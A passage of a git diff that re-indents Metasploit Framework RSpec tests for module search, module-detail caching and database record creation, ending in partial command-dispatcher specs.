:edb - context 'with name keyword' do - let(:search_string) do - "name:#{name}" - end + context 'with name keyword' do + let(:search_string) do + "name:#{name}" + end - let!(:existing_module_details) do - FactoryGirl.create_list(:mdm_module_detail, 2) - end + let!(:existing_module_details) do + FactoryGirl.create_list(:mdm_module_detail, 2) + end - let(:target_module_detail) do - existing_module_details.first - end + let(:target_module_detail) do + existing_module_details.first + end - context 'with Mdm::Module::Detail#fullname' do - let(:name) do - target_module_detail.fullname - end + context 'with Mdm::Module::Detail#fullname' do + let(:name) do + target_module_detail.fullname + end - it 'should match Mdm::Module::Detail#fullname' do - module_details.count.should > 0 + it 'should match Mdm::Module::Detail#fullname' do + module_details.count.should > 0 - module_details.all? { |module_detail| - module_detail.fullname == target_module_detail.fullname - }.should be_true - end - end + module_details.all? { |module_detail| + module_detail.fullname == target_module_detail.fullname + }.should be_true + end + end - context 'with Mdm::Module::Detail#name' do - let(:name) do + context 'with Mdm::Module::Detail#name' do + let(:name) do # use inspect so spaces are inside quotes - target_module_detail.name.inspect - end + target_module_detail.name.inspect + end - it 'should match Mdm::Module::Detail#name' do - module_details.count.should > 0 + it 'should match Mdm::Module::Detail#name' do + module_details.count.should > 0 - module_details.all? { |module_detail| - module_detail.name == target_module_detail.name - }.should be_true - end - end - end + module_details.all? { |module_detail| + module_detail.name == target_module_detail.name + }.should be_true + end + end + end - it_should_behave_like 'Msf::DBManager#search_modules Mdm::Module::Platform#name or Mdm::Module::Target#name keyword', :os + it_should_behave_like 'Msf::DBManager#search_modules Mdm::Module::Platform#name or Mdm::Module::Target#name keyword', :os - it_should_behave_like 'Msf::DBManager#search_modules Mdm::Module::Ref#name keyword', :osvdb + it_should_behave_like 'Msf::DBManager#search_modules Mdm::Module::Ref#name keyword', :osvdb - it_should_behave_like 'Msf::DBManager#search_modules Mdm::Module::Platform#name or Mdm::Module::Target#name keyword', :platform + it_should_behave_like 'Msf::DBManager#search_modules Mdm::Module::Platform#name or Mdm::Module::Target#name keyword', :platform - context 'with ref keyword' do - let(:ref) do - FactoryGirl.generate :mdm_module_ref_name - end + context 'with ref keyword' do + let(:ref) do + FactoryGirl.generate :mdm_module_ref_name + end - let(:search_string) do + let(:search_string) do # use inspect to quote spaces in string - "ref:#{ref.inspect}" - end - - let!(:module_ref) do - FactoryGirl.create(:mdm_module_ref) - end - - context 'with Mdm::Module::Ref#name' do - let(:ref) do - module_ref.name - end - - it 'should match Mdm::Module::Ref#name' do - module_details.count.should > 0 - - module_details.all? { |module_detail| - module_detail.refs.any? { |module_ref| - module_ref.name == ref - } - }.should be_true - end - end - - context 'without Mdm::Module::Ref#name' do - it 'should not match Mdm::Module::Ref#name' do - module_details.count.should == 0 - end - end - end - - context 'with type keyword' do - let(:type) do - FactoryGirl.generate :mdm_module_detail_mtype - end - - let(:search_string) do - "type:#{type}" - end - - let(:target_module_detail) do - all_module_details.first - end - - let!(:all_module_details) do - FactoryGirl.create_list(:mdm_module_detail, 2) - end - - context 'with Mdm::Module::Ref#name' do - let(:type) do - target_module_detail.mtype - end - - it 'should match Mdm::Module::Detail#mtype' do - module_details.count.should > 0 - - module_details.all? { |module_detail| - module_detail.mtype == type - }.should be_true - end - end - - context 'without Mdm::Module::Detail#mtype' do - it 'should not match Mdm::Module::Detail#mtype' do - module_details.count.should == 0 - end - end - end - - context 'without keyword' do - context 'with Mdm::Module::Action#name' do - let(:search_string) do - module_action.name - end - - let!(:module_action) do - FactoryGirl.create(:mdm_module_action) - end - - it 'should match Mdm::Module::Action#name' do - module_details.count.should > 0 - - module_details.all? { |module_detail| - module_detail.actions.any? { |module_action| - module_action.name == search_string - } - }.should be_true - end - end - - context 'with Mdm::Module::Arch#name' do - let(:search_string) do - module_arch.name - end - - let!(:module_arch) do - FactoryGirl.create(:mdm_module_arch) - end - - it 'should match Mdm::Module::Arch#name' do - module_details.count.should > 0 - - module_details.all? { |module_detail| - module_detail.archs.any? { |module_arch| - module_arch.name == search_string - } - }.should be_true - end - end - - context 'with Mdm::Module::Author#name' do - let(:search_string) do - module_author.name - end - - let!(:module_author) do - FactoryGirl.create(:mdm_module_author) - end - - it 'should match Mdm::Module::Author#name' do - module_details.count.should > 0 - - module_details.all? { |module_detail| - module_detail.authors.any? { |module_author| - module_author.name == search_string - } - }.should be_true - end - end - - context 'with Mdm::Module::Detail' do - let(:target_module_detail) do - all_module_details.first - end - - let!(:all_module_details) do - FactoryGirl.create_list(:mdm_module_detail, 3) - end - - context 'with #description' do - let(:search_string) do + "ref:#{ref.inspect}" + end + + let!(:module_ref) do + FactoryGirl.create(:mdm_module_ref) + end + + context 'with Mdm::Module::Ref#name' do + let(:ref) do + module_ref.name + end + + it 'should match Mdm::Module::Ref#name' do + module_details.count.should > 0 + + module_details.all? { |module_detail| + module_detail.refs.any? { |module_ref| + module_ref.name == ref + } + }.should be_true + end + end + + context 'without Mdm::Module::Ref#name' do + it 'should not match Mdm::Module::Ref#name' do + module_details.count.should == 0 + end + end + end + + context 'with type keyword' do + let(:type) do + FactoryGirl.generate :mdm_module_detail_mtype + end + + let(:search_string) do + "type:#{type}" + end + + let(:target_module_detail) do + all_module_details.first + end + + let!(:all_module_details) do + FactoryGirl.create_list(:mdm_module_detail, 2) + end + + context 'with Mdm::Module::Ref#name' do + let(:type) do + target_module_detail.mtype + end + + it 'should match Mdm::Module::Detail#mtype' do + module_details.count.should > 0 + + module_details.all? { |module_detail| + module_detail.mtype == type + }.should be_true + end + end + + context 'without Mdm::Module::Detail#mtype' do + it 'should not match Mdm::Module::Detail#mtype' do + module_details.count.should == 0 + end + end + end + + context 'without keyword' do + context 'with Mdm::Module::Action#name' do + let(:search_string) do + module_action.name + end + + let!(:module_action) do + FactoryGirl.create(:mdm_module_action) + end + + it 'should match Mdm::Module::Action#name' do + module_details.count.should > 0 + + module_details.all? { |module_detail| + module_detail.actions.any? { |module_action| + module_action.name == search_string + } + }.should be_true + end + end + + context 'with Mdm::Module::Arch#name' do + let(:search_string) do + module_arch.name + end + + let!(:module_arch) do + FactoryGirl.create(:mdm_module_arch) + end + + it 'should match Mdm::Module::Arch#name' do + module_details.count.should > 0 + + module_details.all? { |module_detail| + module_detail.archs.any? { |module_arch| + module_arch.name == search_string + } + }.should be_true + end + end + + context 'with Mdm::Module::Author#name' do + let(:search_string) do + module_author.name + end + + let!(:module_author) do + FactoryGirl.create(:mdm_module_author) + end + + it 'should match Mdm::Module::Author#name' do + module_details.count.should > 0 + + module_details.all? { |module_detail| + module_detail.authors.any? { |module_author| + module_author.name == search_string + } + }.should be_true + end + end + + context 'with Mdm::Module::Detail' do + let(:target_module_detail) do + all_module_details.first + end + + let!(:all_module_details) do + FactoryGirl.create_list(:mdm_module_detail, 3) + end + + context 'with #description' do + let(:search_string) do # use inspect to quote spaces in string - target_module_detail.description.inspect - end - - it 'should match Mdm::Module::Detail#description' do - module_details.count.should == 1 - - module_details.all? { |module_detail| - module_detail.description == target_module_detail.description - }.should be_true - end - end - - context 'with #fullname' do - let(:search_string) do - target_module_detail.fullname - end - - it 'should match Mdm::Module::Detail#fullname' do - module_details.count.should == 1 - - module_details.all? { |module_detail| - module_detail.fullname == search_string - }.should be_true - end - end - - context 'with #name' do - let(:search_string) do + target_module_detail.description.inspect + end + + it 'should match Mdm::Module::Detail#description' do + module_details.count.should == 1 + + module_details.all? { |module_detail| + module_detail.description == target_module_detail.description + }.should be_true + end + end + + context 'with #fullname' do + let(:search_string) do + target_module_detail.fullname + end + + it 'should match Mdm::Module::Detail#fullname' do + module_details.count.should == 1 + + module_details.all? { |module_detail| + module_detail.fullname == search_string + }.should be_true + end + end + + context 'with #name' do + let(:search_string) do # use inspect to quote spaces in string - target_module_detail.name.inspect - end - - it 'should match Mdm::Module::Detail#name' do - module_details.count.should == 1 - - module_details.all? { |module_detail| - module_detail.name == target_module_detail.name - }.should be_true - end - end - end - - context 'with Mdm::Module::Platform#name' do - let(:search_string) do - module_platform.name - end - - let!(:module_platform) do - FactoryGirl.create(:mdm_module_platform) - end - - it 'should match Mdm::Module::Platform#name' do - module_details.count.should > 0 - - module_details.all? { |module_detail| - module_detail.platforms.any? { |module_platform| - module_platform.name == search_string - } - }.should be_true - end - end - - context 'with Mdm::Module::Ref#name' do - let(:search_string) do - module_ref.name - end - - let!(:module_ref) do - FactoryGirl.create(:mdm_module_ref) - end - - it 'should match Mdm::Module::Ref#name' do - module_details.count.should > 0 - - module_details.all? { |module_detail| - module_detail.refs.any? { |module_ref| - module_ref.name == search_string - } - }.should be_true - end - end - - context 'with Mdm::Module::Target#name' do - let(:search_string) do - module_target.name - end - - let!(:module_target) do - FactoryGirl.create(:mdm_module_target) - end - - it 'should match Mdm::Module::Target#name' do - module_details.count.should > 0 - - module_details.all? { |module_detail| - module_detail.targets.any? { |module_target| - module_target.name == search_string - } - }.should be_true - end - end - end - end - - context '#update_all_module_details' do - def update_all_module_details - db_manager.update_all_module_details - end - - let(:migrated) do - false - end - - before(:each) do - db_manager.stub(:migrated => migrated) - end - - context 'with migrated' do - let(:migrated) do - true - end - - let(:modules_caching) do - true - end - - before(:each) do - db_manager.stub(:modules_caching => modules_caching) - end - - context 'with modules_caching' do - it 'should not update module details' do - db_manager.should_not_receive(:update_module_details) - - update_all_module_details - end - end - - context 'without modules_caching' do - let(:modules_caching) do - false - end - - it 'should create a connection' do - ActiveRecord::Base.connection_pool.should_receive(:with_connection).twice.and_call_original - - update_all_module_details - end - - it 'should set framework.cache_thread to current thread and then nil around connection' do - framework.should_receive(:cache_thread=).with(Thread.current).ordered - ActiveRecord::Base.connection_pool.should_receive(:with_connection).ordered - framework.should_receive(:cache_thread=).with(nil).ordered - - update_all_module_details - - ActiveRecord::Base.connection_pool.should_receive(:with_connection).ordered.and_call_original - end - - it 'should set modules_cached to false and then true around connection' do - db_manager.should_receive(:modules_cached=).with(false).ordered - ActiveRecord::Base.connection_pool.should_receive(:with_connection).ordered - db_manager.should_receive(:modules_cached=).with(true).ordered - - update_all_module_details - - ActiveRecord::Base.connection_pool.should_receive(:with_connection).ordered.and_call_original - end - - it 'should set modules_caching to true and then false around connection' do - db_manager.should_receive(:modules_caching=).with(true).ordered - ActiveRecord::Base.connection_pool.should_receive(:with_connection).ordered - db_manager.should_receive(:modules_caching=).with(false).ordered - - update_all_module_details - - ActiveRecord::Base.connection_pool.should_receive(:with_connection).ordered.and_call_original - end - - context 'with Mdm::Module::Details' do - let(:module_pathname) do - parent_pathname.join( - 'exploits', - "#{reference_name}.rb" - ) - end - - let(:modification_time) do - module_pathname.mtime - end - - let(:parent_pathname) do - Metasploit::Framework.root.join('modules') - end - - let(:reference_name) do - 'windows/smb/ms08_067_netapi' - end - - let(:type) do - 'exploit' - end - - let!(:module_detail) do - # needs to reference a real module so that it can be loaded - FactoryGirl.create( - :mdm_module_detail, - :file => module_pathname.to_path, - :mtime => modification_time, - :mtype => type, - :ready => ready, - :refname => reference_name - ) - end - - context '#ready' do - context 'false' do - let(:ready) do - false - end - - it_should_behave_like 'Msf::DBManager#update_all_module_details refresh' - end - - context 'true' do - let(:ready) do - true - end - - context 'with existing Mdm::Module::Detail#file' do - context 'with same Mdm::Module::Detail#mtime and File.mtime' do - it 'should not update module details' do - db_manager.should_not_receive(:update_module_details) - - update_all_module_details - end - end - - context 'without same Mdm::Module::Detail#mtime and File.mtime' do - let(:modification_time) do - # +1 as rand can return 0 and the time must be different for - # this context. - super() - (rand(1.day) + 1) - end - - it_should_behave_like 'Msf::DBManager#update_all_module_details refresh' - end - end - - # Emulates a module being removed or renamed - context 'without existing Mdm::Module::Detail#file' do - # have to compute modification manually since the - # `module_pathname` refers to a non-existent file and - # `module_pathname.mtime` would error. - let(:modification_time) do - Time.now.utc - 1.day - end - - let(:module_pathname) do - parent_pathname.join('exploits', 'deleted.rb') - end - - it 'should not update module details' do - db_manager.should_not_receive(:update_module_details) - - update_all_module_details - end - end - end - end - end - end - end - - context 'without migrated' do - it 'should not update module details' do - db_manager.should_not_receive(:update_module_details) - - update_all_module_details - end - end - end - - context '#update_module_details' do - def update_module_details - db_manager.update_module_details(module_instance) - end - - let(:loader) do - loader = framework.modules.send(:loaders).find { |loader| - loader.loadable?(parent_path) - } - - # Override load_error so that rspec will print it instead of going to framework log - def loader.load_error(module_path, error) - raise error - end - - loader - end - - let(:migrated) do - false - end - - let(:module_instance) do - # make sure the module is loaded into the module_set - loaded = loader.load_module(parent_path, module_type, module_reference_name) - - unless loaded - module_path = loader.module_path(parent_path, type, module_reference_name) - - fail "#{description} failed to load: #{module_path}" - end - - module_set.create(module_reference_name) - end - - let(:module_set) do - framework.modules.module_set(module_type) - end - - let(:module_type) do - 'exploit' - end - - let(:module_reference_name) do - 'windows/smb/ms08_067_netapi' - end - - let(:parent_path) do - parent_pathname.to_path - end - - let(:parent_pathname) do - Metasploit::Framework.root.join('modules') - end - - let(:type_directory) do - 'exploits' - end - - before(:each) do - db_manager.stub(:migrated => migrated) - end - - context 'with migrated' do - let(:migrated) do - true - end - - it 'should create connection' do - ActiveRecord::Base.connection_pool.should_receive(:with_connection) - ActiveRecord::Base.connection_pool.should_receive(:with_connection).and_call_original - - update_module_details - end - - it 'should call module_to_details_hash to get Mdm::Module::Detail attributes and association attributes' do - db_manager.should_receive(:module_to_details_hash).and_call_original - - update_module_details - end - - it 'should create an Mdm::Module::Detail' do - expect { - update_module_details - }.to change(Mdm::Module::Detail, :count).by(1) - end - - - context 'module_to_details_hash' do - let(:module_to_details_hash) do - { - :mtype => module_type, - :privileged => privileged, - :rank => rank, - :refname => module_reference_name, - :stance => stance - } - end - - let(:privileged) do - FactoryGirl.generate :mdm_module_detail_privileged - end - - let(:rank) do - FactoryGirl.generate :mdm_module_detail_rank - end - - let(:stance) do - FactoryGirl.generate :mdm_module_detail_stance - end - - before(:each) do - db_manager.stub( - :module_to_details_hash - ).with( - module_instance - ).and_return( - module_to_details_hash - ) - end - - context 'Mdm::Module::Detail' do - subject(:module_detail) do - Mdm::Module::Detail.last - end - - before(:each) do - update_module_details - end - - its(:mtype) { should == module_type } - its(:privileged) { should == privileged } - its(:rank) { should == rank } - its(:ready) { should == true } - its(:refname) { should == module_reference_name } - its(:stance) { should == stance } - end - - context 'with :bits' do - let(:bits) do - [] - end - - before(:each) do - module_to_details_hash[:bits] = bits - end - - context 'with :action' do - let(:name) do - FactoryGirl.generate :mdm_module_action_name - end - - let(:bits) do - super() << [ - :action, - { - :name => name - } - ] - end - - it 'should create an Mdm::Module::Action' do - expect { - update_module_details - }.to change(Mdm::Module::Action, :count).by(1) - end - - context 'Mdm::Module::Action' do - subject(:module_action) do - module_detail.actions.last - end - - let(:module_detail) do - Mdm::Module::Detail.last - end - - before(:each) do - update_module_details - end - - its(:name) { should == name } - end - end - - context 'with :arch' do - let(:name) do - FactoryGirl.generate :mdm_module_arch_name - end - - let(:bits) do - super() << [ - :arch, - { - :name => name - } - ] - end - - it 'should create an Mdm::Module::Arch' do - expect { - update_module_details - }.to change(Mdm::Module::Arch, :count).by(1) - end - - context 'Mdm::Module::Arch' do - subject(:module_arch) do - module_detail.archs.last - end - - let(:module_detail) do - Mdm::Module::Detail.last - end - - before(:each) do - update_module_details - end - - its(:name) { should == name } - end - end - - context 'with :author' do - let(:email) do - FactoryGirl.generate :mdm_module_author_email - end - - let(:name) do - FactoryGirl.generate :mdm_module_author_name - end - - let(:bits) do - super() << [ - :author, - { - :email => email, - :name => name - } - ] - end - - it 'should create an Mdm::Module::Author' do - expect { - update_module_details - }.to change(Mdm::Module::Author, :count).by(1) - end - - context 'Mdm::Module::Author' do - subject(:module_author) do - module_detail.authors.last - end - - let(:module_detail) do - Mdm::Module::Detail.last - end - - before(:each) do - update_module_details - end - - its(:name) { should == name } - its(:email) { should == email } - end - end - - context 'with :platform' do - let(:bits) do - super() << [ - :platform, - { - :name => name - } - ] - end - - let(:name) do - FactoryGirl.generate :mdm_module_platform_name - end - - it 'should create an Mdm::Module::Platform' do - expect { - update_module_details - }.to change(Mdm::Module::Platform, :count).by(1) - end - - context 'Mdm::Module::Platform' do - subject(:module_platform) do - module_detail.platforms.last - end - - let(:module_detail) do - Mdm::Module::Detail.last - end - - before(:each) do - update_module_details - end - - its(:name) { should == name } - end - end - - context 'with :ref' do - let(:bits) do - super() << [ - :ref, - { - :name => name - } - ] - end - - let(:name) do - FactoryGirl.generate :mdm_module_ref_name - end - - it 'should create an Mdm::Module::Ref' do - expect { - update_module_details - }.to change(Mdm::Module::Ref, :count).by(1) - end - - context 'Mdm::Module::Ref' do - subject(:module_ref) do - module_detail.refs.last - end - - let(:module_detail) do - Mdm::Module::Detail.last - end - - before(:each) do - update_module_details - end - - its(:name) { should == name } - end - end - - context 'with :target' do - let(:bits) do - super() << [ - :target, - { - :index => index, - :name => name - } - ] - end - - let(:index) do - FactoryGirl.generate :mdm_module_target_index - end - - let(:name) do - FactoryGirl.generate :mdm_module_target_name - end - - it 'should create an Mdm::Module::Target' do - expect { - update_module_details - }.to change(Mdm::Module::Target, :count).by(1) - end - - context 'Mdm::Module::Target' do - subject(:module_target) do - module_detail.targets.last - end - - let(:module_detail) do - Mdm::Module::Detail.last - end - - before(:each) do - update_module_details - end - - its(:index) { should == index } - its(:name) { should == name } - end - end - end - end - - it_should_behave_like 'Msf::DBManager#update_module_details with module', - :reference_name => 'admin/2wire/xslt_password_reset', - :type => 'auxiliary' - - it_should_behave_like 'Msf::DBManager#update_module_details with module', - :reference_name => 'generic/none', - :type => 'encoder' - - it_should_behave_like 'Msf::DBManager#update_module_details with module', - :reference_name => 'windows/smb/ms08_067_netapi', - :type => 'exploit' - - it_should_behave_like 'Msf::DBManager#update_module_details with module', - :reference_name => 'x64/simple', - :type => 'nop' - - # @todo determine how to load a single payload to test payload type outside of msfconsole + target_module_detail.name.inspect + end + + it 'should match Mdm::Module::Detail#name' do + module_details.count.should == 1 + + module_details.all? { |module_detail| + module_detail.name == target_module_detail.name + }.should be_true + end + end + end + + context 'with Mdm::Module::Platform#name' do + let(:search_string) do + module_platform.name + end + + let!(:module_platform) do + FactoryGirl.create(:mdm_module_platform) + end + + it 'should match Mdm::Module::Platform#name' do + module_details.count.should > 0 + + module_details.all? { |module_detail| + module_detail.platforms.any? { |module_platform| + module_platform.name == search_string + } + }.should be_true + end + end + + context 'with Mdm::Module::Ref#name' do + let(:search_string) do + module_ref.name + end + + let!(:module_ref) do + FactoryGirl.create(:mdm_module_ref) + end + + it 'should match Mdm::Module::Ref#name' do + module_details.count.should > 0 + + module_details.all? { |module_detail| + module_detail.refs.any? { |module_ref| + module_ref.name == search_string + } + }.should be_true + end + end + + context 'with Mdm::Module::Target#name' do + let(:search_string) do + module_target.name + end + + let!(:module_target) do + FactoryGirl.create(:mdm_module_target) + end + + it 'should match Mdm::Module::Target#name' do + module_details.count.should > 0 + + module_details.all? { |module_detail| + module_detail.targets.any? { |module_target| + module_target.name == search_string + } + }.should be_true + end + end + end + end + + context '#update_all_module_details' do + def update_all_module_details + db_manager.update_all_module_details + end + + let(:migrated) do + false + end + + before(:each) do + db_manager.stub(:migrated => migrated) + end + + context 'with migrated' do + let(:migrated) do + true + end + + let(:modules_caching) do + true + end + + before(:each) do + db_manager.stub(:modules_caching => modules_caching) + end + + context 'with modules_caching' do + it 'should not update module details' do + db_manager.should_not_receive(:update_module_details) + + update_all_module_details + end + end + + context 'without modules_caching' do + let(:modules_caching) do + false + end + + it 'should create a connection' do + ActiveRecord::Base.connection_pool.should_receive(:with_connection).twice.and_call_original + + update_all_module_details + end + + it 'should set framework.cache_thread to current thread and then nil around connection' do + framework.should_receive(:cache_thread=).with(Thread.current).ordered + ActiveRecord::Base.connection_pool.should_receive(:with_connection).ordered + framework.should_receive(:cache_thread=).with(nil).ordered + + update_all_module_details + + ActiveRecord::Base.connection_pool.should_receive(:with_connection).ordered.and_call_original + end + + it 'should set modules_cached to false and then true around connection' do + db_manager.should_receive(:modules_cached=).with(false).ordered + ActiveRecord::Base.connection_pool.should_receive(:with_connection).ordered + db_manager.should_receive(:modules_cached=).with(true).ordered + + update_all_module_details + + ActiveRecord::Base.connection_pool.should_receive(:with_connection).ordered.and_call_original + end + + it 'should set modules_caching to true and then false around connection' do + db_manager.should_receive(:modules_caching=).with(true).ordered + ActiveRecord::Base.connection_pool.should_receive(:with_connection).ordered + db_manager.should_receive(:modules_caching=).with(false).ordered + + update_all_module_details + + ActiveRecord::Base.connection_pool.should_receive(:with_connection).ordered.and_call_original + end + + context 'with Mdm::Module::Details' do + let(:module_pathname) do + parent_pathname.join( + 'exploits', + "#{reference_name}.rb" + ) + end + + let(:modification_time) do + module_pathname.mtime + end + + let(:parent_pathname) do + Metasploit::Framework.root.join('modules') + end + + let(:reference_name) do + 'windows/smb/ms08_067_netapi' + end + + let(:type) do + 'exploit' + end + + let!(:module_detail) do + # needs to reference a real module so that it can be loaded + FactoryGirl.create( + :mdm_module_detail, + :file => module_pathname.to_path, + :mtime => modification_time, + :mtype => type, + :ready => ready, + :refname => reference_name + ) + end + + context '#ready' do + context 'false' do + let(:ready) do + false + end + + it_should_behave_like 'Msf::DBManager#update_all_module_details refresh' + end + + context 'true' do + let(:ready) do + true + end + + context 'with existing Mdm::Module::Detail#file' do + context 'with same Mdm::Module::Detail#mtime and File.mtime' do + it 'should not update module details' do + db_manager.should_not_receive(:update_module_details) + + update_all_module_details + end + end + + context 'without same Mdm::Module::Detail#mtime and File.mtime' do + let(:modification_time) do + # +1 as rand can return 0 and the time must be different for + # this context. + super() - (rand(1.day) + 1) + end + + it_should_behave_like 'Msf::DBManager#update_all_module_details refresh' + end + end + + # Emulates a module being removed or renamed + context 'without existing Mdm::Module::Detail#file' do + # have to compute modification manually since the + # `module_pathname` refers to a non-existent file and + # `module_pathname.mtime` would error. + let(:modification_time) do + Time.now.utc - 1.day + end + + let(:module_pathname) do + parent_pathname.join('exploits', 'deleted.rb') + end + + it 'should not update module details' do + db_manager.should_not_receive(:update_module_details) + + update_all_module_details + end + end + end + end + end + end + end + + context 'without migrated' do + it 'should not update module details' do + db_manager.should_not_receive(:update_module_details) + + update_all_module_details + end + end + end + + context '#update_module_details' do + def update_module_details + db_manager.update_module_details(module_instance) + end + + let(:loader) do + loader = framework.modules.send(:loaders).find { |loader| + loader.loadable?(parent_path) + } + + # Override load_error so that rspec will print it instead of going to framework log + def loader.load_error(module_path, error) + raise error + end + + loader + end + + let(:migrated) do + false + end + + let(:module_instance) do + # make sure the module is loaded into the module_set + loaded = loader.load_module(parent_path, module_type, module_reference_name) + + unless loaded + module_path = loader.module_path(parent_path, type, module_reference_name) + + fail "#{description} failed to load: #{module_path}" + end + + module_set.create(module_reference_name) + end + + let(:module_set) do + framework.modules.module_set(module_type) + end + + let(:module_type) do + 'exploit' + end + + let(:module_reference_name) do + 'windows/smb/ms08_067_netapi' + end + + let(:parent_path) do + parent_pathname.to_path + end + + let(:parent_pathname) do + Metasploit::Framework.root.join('modules') + end + + let(:type_directory) do + 'exploits' + end + + before(:each) do + db_manager.stub(:migrated => migrated) + end + + context 'with migrated' do + let(:migrated) do + true + end + + it 'should create connection' do + ActiveRecord::Base.connection_pool.should_receive(:with_connection) + ActiveRecord::Base.connection_pool.should_receive(:with_connection).and_call_original + + update_module_details + end + + it 'should call module_to_details_hash to get Mdm::Module::Detail attributes and association attributes' do + db_manager.should_receive(:module_to_details_hash).and_call_original + + update_module_details + end + + it 'should create an Mdm::Module::Detail' do + expect { + update_module_details + }.to change(Mdm::Module::Detail, :count).by(1) + end + + + context 'module_to_details_hash' do + let(:module_to_details_hash) do + { + :mtype => module_type, + :privileged => privileged, + :rank => rank, + :refname => module_reference_name, + :stance => stance + } + end + + let(:privileged) do + FactoryGirl.generate :mdm_module_detail_privileged + end + + let(:rank) do + FactoryGirl.generate :mdm_module_detail_rank + end + + let(:stance) do + FactoryGirl.generate :mdm_module_detail_stance + end + + before(:each) do + db_manager.stub( + :module_to_details_hash + ).with( + module_instance + ).and_return( + module_to_details_hash + ) + end + + context 'Mdm::Module::Detail' do + subject(:module_detail) do + Mdm::Module::Detail.last + end + + before(:each) do + update_module_details + end + + its(:mtype) { should == module_type } + its(:privileged) { should == privileged } + its(:rank) { should == rank } + its(:ready) { should == true } + its(:refname) { should == module_reference_name } + its(:stance) { should == stance } + end + + context 'with :bits' do + let(:bits) do + [] + end + + before(:each) do + module_to_details_hash[:bits] = bits + end + + context 'with :action' do + let(:name) do + FactoryGirl.generate :mdm_module_action_name + end + + let(:bits) do + super() << [ + :action, + { + :name => name + } + ] + end + + it 'should create an Mdm::Module::Action' do + expect { + update_module_details + }.to change(Mdm::Module::Action, :count).by(1) + end + + context 'Mdm::Module::Action' do + subject(:module_action) do + module_detail.actions.last + end + + let(:module_detail) do + Mdm::Module::Detail.last + end + + before(:each) do + update_module_details + end + + its(:name) { should == name } + end + end + + context 'with :arch' do + let(:name) do + FactoryGirl.generate :mdm_module_arch_name + end + + let(:bits) do + super() << [ + :arch, + { + :name => name + } + ] + end + + it 'should create an Mdm::Module::Arch' do + expect { + update_module_details + }.to change(Mdm::Module::Arch, :count).by(1) + end + + context 'Mdm::Module::Arch' do + subject(:module_arch) do + module_detail.archs.last + end + + let(:module_detail) do + Mdm::Module::Detail.last + end + + before(:each) do + update_module_details + end + + its(:name) { should == name } + end + end + + context 'with :author' do + let(:email) do + FactoryGirl.generate :mdm_module_author_email + end + + let(:name) do + FactoryGirl.generate :mdm_module_author_name + end + + let(:bits) do + super() << [ + :author, + { + :email => email, + :name => name + } + ] + end + + it 'should create an Mdm::Module::Author' do + expect { + update_module_details + }.to change(Mdm::Module::Author, :count).by(1) + end + + context 'Mdm::Module::Author' do + subject(:module_author) do + module_detail.authors.last + end + + let(:module_detail) do + Mdm::Module::Detail.last + end + + before(:each) do + update_module_details + end + + its(:name) { should == name } + its(:email) { should == email } + end + end + + context 'with :platform' do + let(:bits) do + super() << [ + :platform, + { + :name => name + } + ] + end + + let(:name) do + FactoryGirl.generate :mdm_module_platform_name + end + + it 'should create an Mdm::Module::Platform' do + expect { + update_module_details + }.to change(Mdm::Module::Platform, :count).by(1) + end + + context 'Mdm::Module::Platform' do + subject(:module_platform) do + module_detail.platforms.last + end + + let(:module_detail) do + Mdm::Module::Detail.last + end + + before(:each) do + update_module_details + end + + its(:name) { should == name } + end + end + + context 'with :ref' do + let(:bits) do + super() << [ + :ref, + { + :name => name + } + ] + end + + let(:name) do + FactoryGirl.generate :mdm_module_ref_name + end + + it 'should create an Mdm::Module::Ref' do + expect { + update_module_details + }.to change(Mdm::Module::Ref, :count).by(1) + end + + context 'Mdm::Module::Ref' do + subject(:module_ref) do + module_detail.refs.last + end + + let(:module_detail) do + Mdm::Module::Detail.last + end + + before(:each) do + update_module_details + end + + its(:name) { should == name } + end + end + + context 'with :target' do + let(:bits) do + super() << [ + :target, + { + :index => index, + :name => name + } + ] + end + + let(:index) do + FactoryGirl.generate :mdm_module_target_index + end + + let(:name) do + FactoryGirl.generate :mdm_module_target_name + end + + it 'should create an Mdm::Module::Target' do + expect { + update_module_details + }.to change(Mdm::Module::Target, :count).by(1) + end + + context 'Mdm::Module::Target' do + subject(:module_target) do + module_detail.targets.last + end + + let(:module_detail) do + Mdm::Module::Detail.last + end + + before(:each) do + update_module_details + end + + its(:index) { should == index } + its(:name) { should == name } + end + end + end + end + + it_should_behave_like 'Msf::DBManager#update_module_details with module', + :reference_name => 'admin/2wire/xslt_password_reset', + :type => 'auxiliary' + + it_should_behave_like 'Msf::DBManager#update_module_details with module', + :reference_name => 'generic/none', + :type => 'encoder' + + it_should_behave_like 'Msf::DBManager#update_module_details with module', + :reference_name => 'windows/smb/ms08_067_netapi', + :type => 'exploit' + + it_should_behave_like 'Msf::DBManager#update_module_details with module', + :reference_name => 'x64/simple', + :type => 'nop' + + # @todo determine how to load a single payload to test payload type outside of msfconsole it_should_behave_like 'Msf::DBManager#update_module_details with module', - :reference_name => 'windows/escalate/screen_unlock', - :type => 'post' - end - - context 'without migrated' do - it 'should not create an Mdm::Module::Detail' do - expect { - update_module_details - }.to_not change(Mdm::Module::Detail, :count) - end - end - end + :reference_name => 'windows/escalate/screen_unlock', + :type => 'post' + end + + context 'without migrated' do + it 'should not create an Mdm::Module::Detail' do + expect { + update_module_details + }.to_not change(Mdm::Module::Detail, :count) + end + end + end end diff --git a/spec/lib/msf/ui/command_dispatcher/auxiliary_spec.rb b/spec/lib/msf/ui/command_dispatcher/auxiliary_spec.rb index 3b98e07fd4c0..ad2c6e57f8c6 100644 --- a/spec/lib/msf/ui/command_dispatcher/auxiliary_spec.rb +++ b/spec/lib/msf/ui/command_dispatcher/auxiliary_spec.rb @@ -4,22 +4,22 @@ require 'msf/ui/console/command_dispatcher/auxiliary' describe Msf::Ui::Console::CommandDispatcher::Auxiliary do - include_context 'Msf::DBManager' - include_context 'Msf::UIDriver' + include_context 'Msf::DBManager' + include_context 'Msf::UIDriver' - subject(:aux) do - described_class.new(driver) - end + subject(:aux) do + described_class.new(driver) + end - describe "#cmd_run" do - end + describe "#cmd_run" do + end - describe "#cmd_rerun" do - end + describe "#cmd_rerun" do + end - describe "#cmd_exploit" do - end + describe "#cmd_exploit" do + end - describe "#cmd_reload" do - end + describe "#cmd_reload" do + end end diff --git a/spec/lib/msf/ui/command_dispatcher/core_spec.rb b/spec/lib/msf/ui/command_dispatcher/core_spec.rb index f1fff484ef0c..69693eb5b867 100644 --- a/spec/lib/msf/ui/command_dispatcher/core_spec.rb +++ b/spec/lib/msf/ui/command_dispatcher/core_spec.rb @@ -5,94 +5,94 @@ require 'msf/ui/console/command_dispatcher/core' describe Msf::Ui::Console::CommandDispatcher::Core do - include_context 'Msf::DBManager' - include_context 'Msf::UIDriver' + include_context 